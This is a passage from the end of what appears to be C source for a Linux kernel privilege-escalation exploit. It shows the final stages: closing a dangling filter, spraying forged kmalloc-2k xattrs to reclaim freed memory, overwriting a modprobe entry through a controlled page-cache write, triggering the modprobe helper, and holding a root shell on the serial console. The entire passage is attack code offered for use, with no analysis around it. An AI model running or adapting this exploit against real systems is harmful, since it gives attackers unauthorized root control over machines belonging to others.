	printf("[+] dangling filter closed; waiting for pipe-ring RCU free\n");
	usleep(1000000);
	xattrs_created = spray_forged_xattrs(&leak, xattr_memfds);
	printf("[+] forged kmalloc-2k xattrs: %zu\n", xattrs_created);
	if (xattrs_created < 64)
		die("insufficient xattr reclaim spray");
	if (!overwrite_modprobe_entry(target_fd, entry_offset, pipes_created,
				       owner_cpu)) {
		fprintf(stderr, "[-] no dangling target pipe reclaimed by xattr\n");
		return 4;
	}
	printf("[+] controlled page-cache write confirmed; triggering helper\n");
	trigger_modprobe();
	/* Keep the corrupted net namespaces and pipe lifetime stable while the
	 * initial-namespace root shell owns the serial console.
	 */
	for (;;)
		pause();
}